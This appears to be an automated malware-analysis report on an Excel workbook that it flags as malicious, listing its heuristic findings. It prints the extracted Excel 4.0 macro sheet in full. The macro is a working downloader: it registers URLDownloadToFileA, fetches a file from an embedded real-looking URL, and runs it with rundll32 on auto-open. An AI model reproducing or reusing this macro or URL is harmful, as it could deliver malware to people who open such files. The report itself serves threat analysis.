MALICIOUS
190
Risk Score
Heuristics 5
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Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEETSpreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
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Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAMEWorkbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
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Dangerous XLM formula APIs: FORMULA.FILL, REGISTER, EXEC, HALT critical OOXML_XLM_DANGEROUS_FNExcel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
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Hidden worksheet (hidden) low OOXML_HIDDEN_SHEETExcel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.linkinc.es/scss/water.php In document text (OOXML body / shared strings)
- http://www.iec.chIn document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
- http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
- http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
- http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_sheet_00.xml |
xlm-macrosheet | OOXML XLM macro sheet: xl/macrosheets/sheet1.xml | 2735 bytes |
SHA-256: aeb8961fba9a654f72d317e90852f7f343bcfba9a3baa0b857304e8360fd9fbd |
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Preview scriptFirst 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0100-000000000000}"><dimension ref="BB147:BE157"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="7.44140625" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/><cols><col min="1" max="16384" width="7.44140625" style="2"/></cols><sheetData><row r="147" spans="54:57" x14ac:dyDescent="0.3"><c r="BE147" s="2" t="s"><v>4</v></c></row><row r="148" spans="54:57" x14ac:dyDescent="0.3"><c r="BB148" s="2" t="b"><f>FORMULA.FILL("rundl",BF149)</f><v>0</v></c></row><row r="149" spans="54:57" x14ac:dyDescent="0.3"><c r="BB149" s="2" t="b"><f>FORMULA.FILL("DownloadToFileA",BC150)</f><v>0</v></c><c r="BC149" s="2" t="s"><v>0</v></c><c r="BD149" s="2" t="b"><f>REGISTER(BC149,"URL"&BC150,BC151,BC152,,1,9)</f><v>0</v></c><c r="BE149" s="2" t="b"><f>COUNTBLANK(V201:V224)=COUNTBLANK(V201:V224)=COUNTBLANK(V201:V224)=COUNTBLANK(V201:V224)=EXEC(BF149&"l32 "&"..\Front.so"&BE147)=COUNTBLANK(V201:V224)=COUNTBLANK(V201:V224)=COUNTBLANK(V201:V224)=COUNTBLANK(V201:V224)</f><v>0</v></c></row><row r="150" spans="54:57" x14ac:dyDescent="0.3"><c r="BB150" s="2" t="b"><f>BD148()</f><v>0</v></c><c r="BD150" s="2" t="e"><f>GERYTDBFGGHD(0,BC154,"..\Front.so",0,0)</f><v>#NAME?</v></c></row><row r="151" spans="54:57" x14ac:dyDescent="0.3"><c r="BC151" s="2" t="s"><v>1</v></c></row><row r="152" spans="54:57" x14ac:dyDescent="0.3"><c r="BC152" s="2" t="s"><v>2</v></c></row><row r="154" spans="54:57" x14ac:dyDescent="0.3"><c r="BC154" s="2" t="s"><v>3</v></c></row><row r="155" spans="54:57" x14ac:dyDescent="0.3"><c r="BD155" s="2" t="b"><f>BE148()</f><v>0</v></c></row><row r="157" spans="54:57" x14ac:dyDescent="0.3"><c r="BE157" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/><headerFooter alignWithMargins="0"/></xm:macrosheet>
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